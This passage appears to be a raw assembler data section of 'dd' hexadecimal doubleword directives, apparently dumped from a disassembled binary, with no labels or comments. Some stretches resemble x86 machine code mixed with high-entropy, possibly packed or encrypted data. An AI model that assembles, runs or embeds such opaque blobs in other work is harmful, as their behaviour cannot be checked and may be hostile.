		dd 5BEF7C4Ch, 8F2961A6h, 0B1F3D32h, 0EFD934E2h,	0F2B4BC7h
		dd 27FD543Ch, 0BDAD061Bh, 40604D5Dh, 4EB1BD9h, 26EC6C94h
		dd 547E9h, 0DCCBBE00h, 802B5C7Ah, 1E85001Eh, 0C1E69EBCh
		dd 6241415Fh, 66780500h, 725871Ch, 0A2C02281h, 4260C2E1h
		dd 0B0056744h, 0AEC3FA2Fh, 132933D1h, 950E7414h, 0EC9AAB6Fh
		dd 7C635A8Fh, 28892DC4h, 374B69C7h, 0C1EA9C3Ch,	0C47BB10Ch
		dd 81E2432Dh, 6B3850F0h, 0B888AE0Dh, 61BFEC9Ah,	565532D2h
		dd 0C7E4A230h, 713C4B69h, 542FCFE0h, 7C219C51h,	0B3D32DC4h
		dd 5177D8D3h, 0E984685h, 6683EB82h, 9EF8A474h, 465DBEE5h
		dd 0DADE3149h, 8F1D439Dh, 2C4AACF7h, 0AEF58D57h, 2E90F150h
		dd 1C87FF9Fh, 0BFE4A0BEh, 7BA10261h, 0B10F96EDh, 58B6F593h
		dd 0E49E4A3Ah, 0E2005EBFh, 0FCAB09A6h, 0BBE8D8CEh, 9BE8198Dh
		dd 0FE88A608h, 2C9447A5h, 0DA2DC49Eh, 4DA36A3Ch, 1AA8ED97h
		dd 54h,	0BFEC9A56h, 7C11AE61h, 72F32DC4h, 0E8C7C161h, 47762B8Ah
		dd 0EA2DC47Ch, 51B00E9Dh, 516D93F4h, 7538B855h,	12FA8EDh
		dd 6B000000h, 60BEED9Ah, 9F8D3AD1h, 0AAF87B02h,	1291F684h
		dd 0B9EE96B4h, 386E1C5Bh, 8DEFBEC9h, 0FB8C176Fh, 22802B5Bh
		dd 79CD9DC3h, 5DBBE89Ah, 0FF5D483Fh, 43BEE896h,	0E402643Fh
		dd 8DAB09A2h, 9D53B1F8h, 18E82581h, 4FA8ED7Bh, 67h, 0BBE89A8Bh
		dd 5F463F5Dh, 3A2E301h,	0A50087A5h, 0A0062447h,	7531DF20h
		dd 9B0A7B1Bh, 0E696283Dh, 4C0BD9D9h, 4B37C5EBh,	0AAD8F658h
		dd 77D9BF9h, 708C42A0h,	8F29D736h, 583EA8EDh, 3F000000h
		dd 88F1E7A8h, 6187BE5Eh, 0FE89299Dh, 87FB89AFh,	0E3A0BE1Ch
		dd 213F62C0h, 9D067C85h, 5815AC3Bh, 45A70DD3h, 9A64284Eh
		dd 1F86FFEDh, 0A30162C1h, 0C47BD0F0h, 7D285F2Dh, 2382011Fh
		dd 0C6247F03h, 9F2185A3h, 5135D556h, 96102C52h,	0ED757977h
		dd 1EEA8h, 9A2A0000h, 405EBCEBh, 0BBCC5D46h, 0C47C3786h
		dd 0E69DBD2Dh, 6C385EBFh, 0F6D3A4Eh, 0B71594F1h, 60BEED99h
		dd 0E8BEDC01h, 297DABD8h, 94F6ADD8h, 4CDD253Ah,	0C27A4D17h
		dd 0E03E9F2Bh, 85E7C4C2h, 26841F67h, 178EF797h,	11345AB9h
		dd 33CA7CAEh, 0B74A5C7Ah, 5472D4CFh, 51E87932h,	7E09275Dh
		dd 0B8F1182Fh, 39971671h, 875379DAh, 0EA5061F8h, 780F8D0Dh
		dd 2AC2C452h, 0ADF6905Ch, 788FEE4Ch, 236C90E3h,	0B69CABEh
		dd 4FB2F4A2h, 0B3FCB637h, 3B2C8473h, 8A6678DAh,	0DDAEF402h
		dd 164h, 0E74F47DEh, 0D4469DE0h, 0CAB31E9Fh, 0C6DCE33h
		dd 15E22E6h, 913B7001h,	832BC262h, 0E0A6C422h, 0F49232C3h
		dd 0D4FA59B7h, 0B2D57504h, 473FCDF3h, 5E6FFE5Ch, 0CA959429h
		dd 66F75833h, 0CA968C31h, 0D9FF6033h, 12703B4Bh, 0BB1992F4h
		dd 5DBBEA9Dh, 8A36701Eh, 0CC35711Fh, 9E5332BAh,	2CD769Ah
		dd 0AA086963h, 7688EA4Bh, 0AEF3A07Ah, 51EDh, 75E2900h
		dd 0B03D7203h, 0A42DC47Ch, 8B32E543h, 0D2DC47Ch, 0E7FEC7DFh
		dd 0A102A1E4h, 8C177010h, 0B6566766h, 8CAFD5D2h, 2DC47C61h
		dd 1EC8BF5Fh, 81E03E65h, 0D263C220h, 0C47C209Dh, 4D73D42Dh
		dd 1FBF2182h, 0ACh, 974B7910h, 4F3316C4h, 15E6529h, 0D93B7001h
		dd 972BC268h, 87509400h, 1D34B9EDh, 1B5BA30Ah, 915C8260h
		dd 0D2B4D230h, 2D5977D9h, 0F191207Eh, 52871897h, 33CAC36Bh
		dd 0D7FA2081h, 33CAC2BBh, 26DBCBE9h, 1BB24360h,	9EE5F77Dh
		dd 334AA907h, 1B41181Ah, 949CF14Bh, 88236303h, 41526362h
		dd 0CAA3B10Ch, 0BCE24333h, 0CF70D599h, 4047E731h, 13743F65h
		dd 0B4EF97B5h, 7A1A2B56h, 0A7E9E0Dh, 0BAE03F9Dh, 7788089Eh
		dd 0CF977B42h, 3451712Dh, 24EE1475h, 136C7CFh, 2BD4636Dh
		dd 66454363h, 7D14A305h, 21BA0AA5h, 7A3E6496h, 7001015Eh
		dd 842CCBD9h, 6F9EA08Dh, 0A09FB69Eh, 344F6FF2h,	174C4B71h
		dd 2BC9FC57h, 9A235869h, 5A33D202h, 0A708D3F9h,	505B2B49h
		dd 2EB6D0EEh, 8CEA4B58h, 32B5ECD9h, 386E1C13h, 89BEBDC9h
		dd 54B14E34h, 96CD81FEh, 0E3407CC5h, 0A1BF2182h, 4A68C6E5h
		dd 0E40F6D3Ah, 7511F0B6h, 0D0B6D436h, 4FE675D3h, 0E10FE65Eh
		dd 0DAEA10D2h, 11h, 34CB5A06h, 87F35470h, 651E3E48h, 5B81E03Eh
		dd 0C0EF9A97h, 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h
		dd 0A3DFFDh, 0A30084A2h, 475E2745h, 0F1BCCBE9h,	89501B93h
		dd 405E0h, 0E8830000h, 24048704h, 240C895Ch, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68241489h, 64B0h,	51243489h
		dd 3EFEB850h, 0C14840DBh, 4D0507E0h, 0C12FA731h, 740503E8h
		dd 5213E23h, 0DE3C20D7h, 0F758C189h, 0A8E181D1h, 812B8307h
		dd 0AA7388C1h, 0ECF18165h, 8988274Ah, 0EC8159CAh, 4, 83242489h
		dd 5E042404h, 8B850h, 382D0000h, 134F470h, 703805F0h, 108934F4h
		dd 2434FF58h, 4C4815Eh,	8B000000h, 89532414h, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 4463E95Ch, 7B0BFFF9h, 1045ECF6h
		dd 0B663897h, 0D386DB8h, 0FFC50306h, 234819E0h,	0F2AF4B4Bh
		dd 44D4EE6Ah, 930C4F6Ch, 0B804C275h, 0A9231C59h, 0C34C4133h
		dd 87B2746h, 0F7B2FC5Ah, 3B2F820Dh, 0E92B544Ah,	57893C7Dh
		dd 128AE713h, 2849C707h, 0F95A7478h, 0B5839654h, 4DC7FC3Fh
		dd 0EB4EE34Dh, 9ADCDE40h, 0E33E2D73h, 0A0F15115h, 6A30BC37h
		dd 5250BD42h, 9CFFAF77h, 0F8628428h, 2A81C43Ah,	92171232h
		dd 0EDE97Bh, 66600000h,	4A8D88Ch, 0DF840Fh, 0B58B0000h
		dd 60611F9h, 0F00FE83h,	2285h, 0C185C600h, 45060601h, 72696968h
		dd 1DB5FF8Eh, 8D060632h, 97A7C85h, 89D0FF06h, 6039585h
		dd 80F08B06h, 850FE93Eh, 31h, 6B2E858Dh, 0D0FF060Bh, 28FDBD8Bh
		dd 0C7810606h, 1184h, 11F9B58Bh, 0F7870606h, 8B9h, 8BA4F300h
		dd 611F9B5h, 0C3858D06h, 0FF060A19h, 0F5B58BD0h, 8306062Dh
		dd 850F00FEh, 22h, 1C185C6h, 68540606h,	0FF4EBEF4h, 321DB5FFh
		dd 858D0606h, 6097A7Ch,	8589D0FFh, 6062DF5h, 3E80F08Bh
		dd 3A850FE9h, 8B000000h, 62DF5B5h, 2E858D06h, 0FF060B6Bh
		dd 0FDBD8BD0h, 81060628h, 1184C7h, 8C78300h, 2DF5B58Bh
		dd 0F7870606h, 8B9h, 8BA4F300h,	62DF5B5h, 0C3858D06h, 0FF060A19h
		dd 8DC361D0h, 0D399D85h, 0E1858906h, 0E8060614h, 0Dh, 0BD797CD5h
		dd 9C1CCFCAh, 22B8B18Ah, 0BA6658DDh, 0C08110E0h, 6450h
		dd 0F7EEB860h, 0F502F68h, 81h, 68615A00h, 18E8h, 8E85Bh
		dd 330B0000h, 0F63B33FAh, 5356E2ACh, 8B595E5Ah,	0A2FBBE38h
		dd 0EF813D25h, 65809989h, 2AFEA7BEh, 7AF78135h,	0F78794Eh
		dd 0EF81D0BFh, 392EB5D2h, 0AE9h, 0FD6FF400h, 0E1738149h
		dd 894D5212h, 835A5238h, 0B70F04E8h, 850F4BCEh,	1Bh, 0E951EA80h
		dd 2Ch,	2AEE6CDBh, 8881DCD0h, 856AA4C1h, 0C4C50617h, 0FF167BDh
		dd 48Eh, 4ABA6600h, 0FF95E9C4h,	706CFFFFh, 55D47F8Bh
		dd 9676C34Fh, 3C148D8Dh, 6A060Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 5269C0C3h, 89264FF2h
		dd 628DD8Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 4AD57650h, 0FCA228D9h, 111185C7h
		dd 6F180606h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 65967FC3h, 4985C73Fh, 6062Eh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0A81EC352h, 85261303h, 0FF28D780h, 612F5B5h
		dd 1B58B06h, 0FF06061Bh, 6079195h, 66D38B06h, 6AC68Bh
		dd 1AC995FFh, 0C08B0606h, 67948EBh, 4FB07F47h, 0A8019E74h
		dd 69C788Ch, 3A71F74Ch,	5E790F13h, 30E6D155h, 3276B79Ah
		dd 0D8AC7415h, 70FCBDA3h, 0CFABA57Bh, 22AD77h, 0B31CF4D4h
		dd 1490230Bh, 77FAAFD3h, 0F6950D6Eh, 0B08D0816h, 0C046032Dh
		dd 4EBD7C2h, 48A3F580h,	0BD6E9h, 3E2F6800h, 6E9060Dh, 68FFF941h
		dd 60D3F03h, 0F940FCE9h, 409A68FFh, 0F2E9060Dh,	68FFF940h
		dd 60D41C4h, 0F940E8E9h, 449B68FFh, 0DEE9060Dh,	68FFF940h
		dd 60D45DBh, 0F940D4E9h, 46EB68FFh, 0CAE9060Dh,	0E8FFF940h
		dd 82A002A1h, 2644A605h, 0C8E6485Fh, 6785E7BCh,	2B26881Bh
		dd 0ADF68C42h, 4C5B2D4Bh, 0ECB7CCEAh, 911A6C8Ah, 2459DA2Fh
		dd 33D1B799h, 2981455Bh, 980B7818h, 0C47BDAE3h,	0CB1E62Dh
		dd 0E02DC47Ch, 9BC1227Fh, 0CC2A790Dh, 6DCBD8AEh, 1371344Fh
		dd 15ECBAE8h, 0B2D03271h, 5371D3D0h, 8B1A7833h,	7C78457Ah
		dd 1B7C2DC4h, 8A699904h, 7096834Fh, 0A2D7A4E2h,	2DC5101Bh
		dd 0CD2B780Eh, 4B80116Eh, 2DC51072h, 5FC02182h,	464EA3FDh
		dd 0DFF080B5h, 81E22BC2h, 20517023h, 2C4833CBh,	1D5D937Ah
		dd 410AAEF4h, 46000000h, 7001015Eh, 0C280113Bh,	0D272032Bh
		dd 7D40F5B2h, 0AC33CA80h, 0F6ECCD7h, 92F051B2h,	0CA7FE2DFh
		dd 6E354F33h, 5894F210h, 0B716742Fh, 9FCDF856h,	0E501B907h
		dd 79A44CC1h, 0DAC3AEF3h, 0FF000000h, 0AD09EC9Ah, 88D9C25Ah
		dd 2F4DAB0Ch, 0D4F25053h, 2994C9B2h, 972DC4E9h,	0C4E95B62h
		dd 0D330912Dh, 0E0801172h, 0FDB01A2h, 0B41695F1h, 0C4EC7101h
		dd 7F9C332Dh, 0F3FEF06Fh, 13730127h, 9FFDACD9h,	437AAF40h
		dd 0A92DC530h, 0B656E748h, 0E2B2D8CFh, 8BE9C2C4h, 43D4DC31h
		dd 0C30BE20Eh, 2045DC2Bh, 9C94C587h, 7DDEA9CFh,	97EC8C1Bh
		dd 0F2EFF50Ch, 7FD81660h, 32728F59h, 6DB46CA1h,	1D7E31D3h
		dd 0D96EC8Ch, 0AEF58DABh, 6FC079h, 81217D84h, 97Dh, 2D8F1E6Bh
		dd 0CB2D780Fh, 6FD1D8ADh, 12743351h, 0B3158EF4h, 6919CFB8h
		dd 0CEBAD83Ah, 22617FE1h, 83032183h, 0F071C628h, 0D1BA02BBh
		dd 18DCF233h, 59BBE89Ah, 8C582ACAh, 0EE4DABF8h,	0AAD02F8Dh
		dd 0DF416A1Ch, 1015E8Bh, 80113B70h, 0A2032BC2h,	80309144h
		dd 4D6933CAh, 793CB459h, 0BE2BAEF3h, 67000000h,	61BFEC9Ah
		dd 6643F43h, 0C4801F53h, 0B7F4922Dh, 80B5C655h,	2DC4803Dh
		dd 9A284EAFh, 761BFECh,	0E419AAEAh, 2BC25C0Ch, 2983E546h
		dd 2A3BCCD4h, 88AEFD8Ah, 0D2FD8C65h, 0D667C831h, 3E7FB4C5h
		dd 0AE2DD303h, 0E999274Dh, 0F98929BAh, 0CDED4CAAh, 0F6C6ECBBh
		dd 4E3AAAD8h, 13A40361h, 0D302DFDEh, 53B4152Dh,	0FFFA6F1Eh
		dd 0E484E083h, 8A9h, 51B3F297h,	0F7595433h, 9BFDACD9h
		dd 3EA0077Dh, 0DF416220h, 3D451BE4h, 0A2E60466h, 0FE85A305h
		dd 5F2745A7h, 0C8DE244h, 0D1BAE6D7h, 2CF00633h,	2ABBE89Ah
		dd 9A097919h, 9528DD3Ch, 572DC47Bh, 0F7ACD6F6h,	44143A99h
		dd 0E1436026h, 0BFEC9A8Dh, 68434361h, 584B37D7h, 0C2D36232h
		dd 7C417CB1h, 52B32DC4h, 0C47C209Dh, 0ACDF1A2Dh, 0D7492E90h
		dd 0D0F3197Ah, 2DC4CDF1h, 0FB5D4640h, 1244A9DDh, 0CE6695D3h
		dd 0C0DE3C9Dh, 167FDDC6h, 0C3C33E68h, 7C7486E8h, 0EBA8EE26h
		dd 7Dh,	1015E27h, 932A5F70h, 592DC47Bh,	0F9AAD8F8h, 17163C9Bh
		dd 0C27556E2h, 0CDB8582Bh, 0F31978D6h, 0B669C728h, 33CA8A0Bh
		dd 0D934728Eh, 0AEF38717h, 4850h, 18298C00h, 0C47BDAE3h
		dd 93B91A2Dh, 0C47C5070h, 464EA32Dh, 620C80B5h,	9DFE2BC2h
		dd 3E651D3Bh, 296986E0h, 65856398h, 4F6F31C8h, 0CFD6AF35h
		dd 8DAB0D6Eh, 0F751AFF6h, 0D4099A9Ah, 2BC29430h, 0DF7FE142h
		dd 4B0h, 1015E0Bh, 7C953B70h, 1E7F2BC2h, 7BB40DC0h, 0C9E533CAh
		dd 79C030DDh, 91A7AEF3h, 0A8000004h, 845B6297h,	719133CAh
		dd 0E349514h, 7C9CAC4Ah, 7D8E1F67h, 0DB01A8DDh,	0C27AC8B8h
		dd 9549AA2Bh, 74D0072h,	9A9AF78Ah, 91A0D409h, 0FE9EDB85h
		dd 29F41A89h, 0F3106AC8h, 28ED22B3h, 1CD5922Ch,	8192ABBh
		dd 90CBEAD3h, 83A90ADDh, 0B01291F5h, 82B7F492h,	0D4423065h
		dd 1236D632h, 7, 9AB81A89h, 3E5CBEEDh, 0E0FE6047h, 7F9DFFA4h
		dd 433EA003h, 0C5DEA4BAh, 64434563h, 49FE402h, 0A90284A2h
		dd 3C71F247h, 33D1BC81h, 9A995D73h, 8E2EBFECh, 0F251AFF4h
		dd 607100CCh, 0C47C922Bh, 4342622Dh, 13DD0364h,	0F025B6FEh
		dd 2BC25228h, 8828B91Ah, 2846A8FBh, 37EA485Bh, 33CAA686h
		dd 0CA95B30Eh, 5CFC0D33h, 0C01F7D26h, 0CAB5B20Bh, 63224233h
		dd 2687E644h, 23D93600h, 0FE9ED2CDh, 35C62718h,	0C8EEAC00h
		dd 2CBD1E31h, 87ADF68Ch, 26B908BBh, 0E1E02DC5h,	27229BD0h
		dd 71D22DC5h, 96772F4Bh, 0A8EE205Ah, 250Dh, 15E4900h, 53B7001h
		dd 0BB2BC27Bh, 7D4875AAh, 4BAC33CAh, 7D3885BAh,	5BBC33CAh
		dd 0AB096A35h, 300Bh, 15E3700h,	0C85F7001h, 1E7952F6h
		dd 7C9FC5A5h, 2BC2E1E4h, 9B087A1Ah, 0EDB8DE3Dh,	8E9F2E8Ch
		dd 0CB226459h, 9E1F5433h, 4E33CB21h, 92F90EDh, 0F9892945h
		dd 0B0119CEBh, 48573D52h, 7C9925C8h, 1F67F51Bh,	0D49E1F54h
		dd 0ED4E2DC4h, 2744578Ch, 0A501840Eh, 5E805h, 0F4B3D600h
		dd 98137492h, 366D1836h, 0D9CEB6D4h, 7A295977h,	7E501D18h
		dd 1F3D9F04h, 0BAD83A69h, 5A78DAC9h, 0C81D7F2Ch, 0BCAB1247h
		dd 2B4133D1h, 1015E67h,	50F53B70h, 7EDF2BC2h, 96F19120h
		dd 198CF717h, 0A8365CBBh, 0B063C5DEh, 10956C90h, 0A6080863h
		dd 0ECD10617h, 4F118Ch,	8D833A6Fh, 8694F11h, 5AB781A7h
		dd 0CC94C95Ah, 264D0F68h, 6E4F8495h, 7E550FB9h,	0B955681Dh
		dd 3697550Fh, 0D5366D16h, 7F2E5977h, 6D3A4EEEh,	0C01D7747h
		dd 0B2FA2FC0h, 38530D8Ch, 0FBC679D7h, 9E4F1184h, 0CC6C2482h
		dd 48CAF0BBh, 0CA3A82A8h, 10FBFh, 6820C000h, 2951153Bh
		dd 0AB26B492h, 759B2F74h, 0A39856ABh, 2D52AC70h, 54891A7Bh
		dd 2BC2C1DCh, 0DB8CFF16h, 3AE8D39Dh, 4B148D9h, 0BA3879E2h
		dd 0EF505B2Ch, 0A7DFFDC9h, 0A7C9AFCh, 0B09043A1h, 5E109546h
		dd 7B0BF6B0h, 0D6B0CE30h, 0CA2B780Eh, 8087B96Ch, 6F9D2BDCh
		dd 30BCCA37h, 90EF4D56h, 0D7AFCD2Fh, 0D02E750Dh, 80B10C41h
		dd 0E24333CAh, 68C22081h, 487D0E0Ch, 33CA8195h,	7AD43697h
		dd 578C1D65h, 31C87465h, 0C62ABC53h, 935702BDh,	667D1586h
		dd 0D0F6A9AFh, 2846A405h, 0C5E3455Eh, 4051E2C1h, 0C56DB20Bh
		dd 6422422Dh, 0F4C0E647h, 0C56E7441h, 0E787982Dh, 0C3DF05A0h
		dd 3B681EE3h, 353526D9h, 0A1BC5991h, 0A5E1FF61h, 1C4DA350h
		dd 2A8BA982h, 6A3419CCh
		dd 26D41FD8h, 6A791080h, 9132E3A3h, 0D1B54369h,	345270D2h
		dd 0EA8A1977h, 54B3119Eh, 70F642Eh, 69CE6576h, 111BDEDEh
		dd 2B395C82h, 11DD579h,	4E9E3EA0h, 0CA000000h, 7C4B015Eh
		dd 9DC3ED59h, 0C3F889EAh, 2BC2DC7Dh, 9AB81677h,	475CBEEDh
		dd 617B262Fh, 0E501BCF1h, 92F333CAh, 0E4F1CC01h, 0A20333CAh
		dd 0BF19B041h, 1FA6B0DDh, 75AAA9CFh, 33CADC50h,	0DFDE13A4h
		dd 1533CADBh, 70EF53B4h, 0C7EDB6D0h, 0EC9A03h, 61C01E85h
		dd 2F449E00h, 8F2156E7h, 452BC261h, 0D0B353E4h,	2E5573D5h
		dd 0A2BF1977h, 7C9CD162h, 3231C86Ch, 54B2F192h,	0A304CFF5h
		dd 9C2F9245h, 0FA912DC4h, 48D1605Eh, 0CB95BB05h, 3DDD6EB6h
		dd 37365C4Bh, 0C254AA02h, 2EBF202Bh, 50AEF58Eh,	4CFFCBF1h
		dd 33CAAD75h, 6F9E0824h, 0AEF3A681h, 1DE6h, 15E2200h, 0B2D07001h
		dd 97CCCBF1h, 2BC27AA9h, 0FD8CEA4Bh, 5A80275Dh,	304Ah
		dd 92297600h, 0FE3F5600h, 0FDC0F501h, 0EF2DC569h, 3D072D8Eh
		dd 0AF4FE020h, 0F6ECCD7h, 0E70D98EFh, 45ADB3E8h, 0B3532BC3h
		dd 1675D3D2h, 66C425F0h, 0FA892912h, 0AA0B98ECh, 1390F684h
		dd 0E80CDDEh, 86268284h, 311h, 0B91B8AFFh, 5FC1EC9Bh, 3654441h
		dd 0A6089FE5h, 47A9FA88h, 0D5ADA34Ch, 3A4E6CCEh, 96ED0B6Dh
		dd 0F78FAD0Fh, 74F54AACh, 0D1C07E3Fh, 94586E33h, 61BFEC9Ah
		dd 3384343h, 2DC47BBAh,	2CB73380h, 46A3A17Ah, 932284E5h
		dd 0B71590F3h, 0B683258h, 2B457A0Bh, 292BC25Eh,	0AB76AC8h
		dd 8F33CA9Eh, 16DA3373h, 51AEF39Bh, 31h, 1015E8Dh, 932A5F70h
		dd 592DC47Bh, 9ED3D2F8h, 2BC27FAEh, 0B265C324h,	33CA800Fh
		dd 0D5386E8Ah, 0AEF3791Bh, 574E35D5h, 0EC749AF9h, 0F1h
		dd 0EC9A28h, 5EBC1D86h,	0D0614240h, 7C338ABFh, 28B92DC4h
		dd 0C47BCAF3h, 68C92A2Dh, 2E587642h, 0E8881775h, 52E0069Dh
		dd 86157734h, 7C7D4075h, 0DCAC2DC4h, 0ACE172CFh, 2DC47C11h
		dd 0FB2182E3h, 0C47F9AD8h, 568B9C2Dh, 2DC48067h, 78062C8Dh
		dd 0A433950Eh, 805F5E93h, 4952DC4h, 0C47FEECFh,	3C9DFE2Dh
		dd 0A5FE8816h, 9090ED47h, 5F8ECAFFh, 64842BC2h,	9F1E5320h
		dd 5533CA9Fh, 0D03293F4h, 88191976h, 0D2EE3653h, 4CDD3E31h
		dd 0A4CAD9ACh, 267D05A5h, 0C7DCA6C4h, 0FFEA8B92h, 58F85483h
		dd 1D1h, 79DBCABFh, 1F812C5Bh, 0C3258401h, 66C8DFA5h, 7693A48h
		dd 156D630Ch, 7A0E2C8Eh, 0D6ADCB2Dh, 374F6DCFh,	34B50A6Ch
		dd 0D1C0BEFFh, 54182E33h, 59BBE89Ah, 0FB304B3Bh, 2DC47BC2h
		dd 35721232h, 0B61778D7h, 6125C554h, 5F85E442h,	2C92299Bh
		dd 0BB7D23CAh, 0ED8DC0EEh, 0CAED53D6h, 4D85DAA4h, 0C54CA518h
		dd 0C6E6472Dh, 2C8BE9BEh, 89293ACBh, 0F352B0FFh, 50A2AACDh
		dd 8282BC3h, 67C5267Dh,	0CB510DB4h, 0ED8D8C33h,	52B10F96h
		dd 7796102Ch, 0AEF44A79h, 0C6EEh, 92292A00h, 72F11F7Eh
		dd 0ED7BA13Fh, 8EAC0A99h, 0D1EAFF4h, 0C4FAE5D8h, 1F9ED32Dh
		dd 0D52DC4FBh, 90B61774h, 0FE6111C4h, 0C3632DC4h, 35C3E9C4h
		dd 21C15251h, 4D1D4362h, 0FA8D572Fh, 8DEE4DABh,	78B8D52Fh
		dd 0D6A6B2E7h, 7C9C2BC2h, 0DE3D9B08h, 0ACC11B7Dh, 8A9ED364h
		dd 7831D330h, 9CE68617h, 6632E951h, 54B5E468h, 0F5AED4F2h
		dd 0FFA5CBC0h, 9C3C9883h, 0C1h,	69CBDAAFh, 0F713C4Bh, 0B31594F1h
		dd 56B8EF95h, 0F7594A38h, 255D73FCh, 8AFE1C7Eh,	0E69DBB1Dh
		dd 473F5DBFh, 24A5FA5Ch, 0D1C1CEEFh, 44081E33h,	0EFFD8929h
		dd 51AF1093h, 443ECCF2h, 47DD26A9h, 56B79168h, 446325C5h
		dd 56304E1Eh, 9A97EB4Dh, 4361BFECh, 0AC066843h,	89BE4F57h
		dd 2BC94895h, 0BEDC3A9Bh, 5B79DBC8h, 6F22802Bh,	6978032Fh
		dd 9674442h, 565B9CEBh,	6617070Eh, 0A60F6DCEh, 3453AEF8h
		dd 5BBC1B79h, 4F2891Ah,	9ABDFB3Eh, 9F1A4D64h, 3911D2CBh
		dd 52AFF713h, 0F7157734h, 98B6148Fh, 2E59B7ECh,	2B5BA600h
		dd 86001E80h, 0A1FBF1Dh, 4B000000h, 0AFFE8929h,	0FECCF251h
		dd 0C0EF9AAAh, 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h
		dd 0A3DFFDh, 0A30084A2h, 475E2745h, 0F1BCCBE9h,	89531B93h
		dd 4C381E3h, 52000000h,	4BAh, 5AD32900h, 5C241C87h, 614468h
		dd 24148900h, 7F5B68h, 240C8900h, 0D3CB268h, 24148B06h
		dd 8104C483h, 4ECh, 24248900h, 4240481h, 59000000h, 0B4BF5750h
		dd 4F661B39h, 39ABEF81h, 0F889661Bh, 89C8015Fh,	34FF5810h
		dd 0C4815924h, 4, 5A2434FFh, 0E904C483h, 0FFF9353Dh, 0B8669821h
		dd 60D47D1h, 0E0FFC503h, 0D1073B5h, 39C152Dh, 419E16B6h
		dd 51D26CF7h, 3F9D952Bh, 67A5F923h, 7C6304EBh, 0A0E93D27h
		dd 2C000005h, 0CEEC4E5Dh, 6A88EAB9h, 0C2A8C1Bh,	0ABC92B78h
		dd 6F6ACCD7h, 0F1B2D086h, 9817718Fh, 386B1836h,	0D5CEB8D6h
		dd 689D1E73h, 33D1C455h, 29BD8197h, 87ADFC89h, 8D1E8DF9h
		dd 0EB1198EDh, 0CBF9901Fh, 0BB7445Bh, 34220D38h, 1D5CF61Dh
		dd 1E1E0906h, 0E006BE1Fh, 11733052h, 3A0E282h, 6C374FDDh
		dd 0D96F00Eh, 87366B7Ch, 6D2DC57Ah, 0FC1AE60Ch,	0EF8F208Bh
		dd 52B10F96h, 9021602Ch, 0B21093F0h, 95112D53h,	2C611A6Ch
		dd 2DC57A91h, 3FA10263h, 0E1436221h, 87E5C0C3h,	0FF901F69h
		dd 597F265Fh, 7234628Dh, 9B087E1Eh, 2AB8DE3Dh, 19B94A59h
		dd 4EDD3B6Ah, 0C579A419h, 86E7482Dh, 14729060h,	99F7ACD8h
		dd 0C87BD93Ah, 2DC579F8h, 99ED8D0Eh, 364DAC0Ah,	62167591h
		dd 59759B7Ch, 0B530C04Dh, 29C0A8EDh, 0C8110B5Ch, 8D153B7Dh
		dd 67h,	0BFEC9AC9h, 7C11AE61h, 6A1C2DC4h, 0C2C5E341h, 6E1C85E3h
		dd 0A13F8838h, 457A8B05h, 2DC47C78h, 73F51B7Ch,	0A8ED757Dh
		dd 1EAh, 0ED9A2600h, 7C64598Eh,	27882DC4h, 3D4A68C6h, 0EA81106Eh
		dd 255B5D94h, 0B8466CB2h, 0A646D7CCh, 867C5E2h,	29D716E2h
		dd 0A803847Dh, 4F20B746h, 0CA1520E4h, 3E48D6FCh, 9AAF0365h
		dd 3F5DBBE8h, 0C1E69E48h, 45A30463h, 0EA485B27h, 572DB7CCh
		dd 6691EF50h, 0E7526E38h, 0D8CFB656h, 0F11096B2h, 92B01291h
		dd 0CA59B7F4h, 6220E133h, 4167873Eh, 75D3D2B3h,	8D03A3BFh
		dd 801198EDh, 0C484724Bh, 0FB21822Dh, 0ED838779h, 8AE0A8h
		dd 9A1C0000h, 3F5DBBE8h, 2ECE5F46h, 8EED4B58h, 0AF5D9C68h
		dd 0FB780AF7h, 0C47BF7C6h, 3B9CFD2Dh, 0DCC7BBD9h, 7F24607Eh
		dd 1F4A57EEh, 0BEC56703h, 849BEBA7h, 0FB21ECF8h, 495D792Fh
		dd 0BC013647h, 6D2DC528h, 0D1308E15h, 6BED1374h, 0A8EE2895h
		dd 0A8154A5Bh, 4C2DC532h, 543DC5EBh, 79000000h,	8CFCE89Ah
		dd 4260BE1Fh, 0E1046241h, 614240E0h, 627EA403h,	0DEC5BD44h
		dd 0B6073C4Dh, 362DC47Bh, 7C4D70A5h, 3E9F2DC4h,	93E7B7DDh
		dd 85FFED9Ah, 0AC5FBD1Eh, 2DC47C14h, 0BB5254F2h, 0A8ED7535h
		dd 3C671BBBh, 884776ABh, 4CAD2DC4h, 19E26h, 9ADA0000h
		dd 66578CEBh, 862DC47Ch, 2233C425h, 0C47BD0EDh,	9DC3242Dh
		dd 0D8D3B3D1h, 85214F7Ah, 389A097Ch, 0F08181DEh, 168248DFh
		dd 0A15C7A2Dh, 9E0C587Bh, 7DDE2BC2h, 2685011Fh,	93E0A6C4h
		dd 0CA9E5F5Eh, 0D3349533h, 0C3E0A242h, 14E00665h, 0CA9E5E61h
		dd 0FAACCA33h, 0C2247F07h, 6BC9E2A4h, 0C6A394Dh, 0B21097EEh
		dd 8CF8F494h, 1958B617h, 1A853B6Bh, 0BFC73A6Ch,	8CBE1B2Eh
		dd 4F6824F7h, 0AB662096h
		dd 8BED4EAFh, 0F4007779h, 155F0AEh, 5E2C0000h, 5F700101h
		dd 80DEC5BFh, 0F4D8FB21h, 0C22BC261h, 0FD876522h, 88E745A6h
		dd 0F779762h, 0BA23394h, 0BA19E728h, 77436932h,	0ED7E2D59h
		dd 0A4BB384Dh, 0E1D435A5h, 0F150AE0Fh, 0A9DDFBCBh, 235869FAh
		dd 33CB499Ah, 7D3F95Ah,	7D0E9DE9h, 0D6FCABDDh, 0B3F3A10Ah
		dd 0D7AC384Eh, 0C9DA6BCCh, 0CB4A2994h, 446ACB33h, 438E6274h
		dd 52D9AEF4h, 15000000h, 0AAF98929h, 0A0A3BA84h, 0CE5FC0E3h
		dd 4677ACBDh, 0E32DC47Ch, 49A806A5h, 42658BECh,	2DC47CABh
